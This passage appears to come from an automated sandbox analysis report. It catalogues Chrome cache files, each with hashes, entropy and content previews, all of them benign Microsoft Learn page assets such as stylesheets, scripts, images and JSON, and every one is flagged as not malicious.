Preview:	L..................F.@.. ...$+.,.....8.D>......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IxY.=....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY.=....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VxY.=....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VxY.=...........................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VxY.=....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	179335
Entropy (8bit):	5.435182897681627
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVa:Wof3G0NSkNzMeO7z/l3a
MD5:	517954FBCEBC2B0669606202492A4888
SHA1:	404819BEF2964D493DF3CB29102719025BEA48AF
SHA-256:	211DF9427FF68A7AA97490D30BABCEC089295E6219D461DD2946D24FE919DAEF
SHA-512:	21F79D8CB099D874CB2AD32BCE04ADBDE919F3499363E51FE875C0EB409A4EEF555F349351DAB84E39214E26F5320E6E472C0A6A7C06A4CA9EFD1421174CA0C3
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and useren links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and useren links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
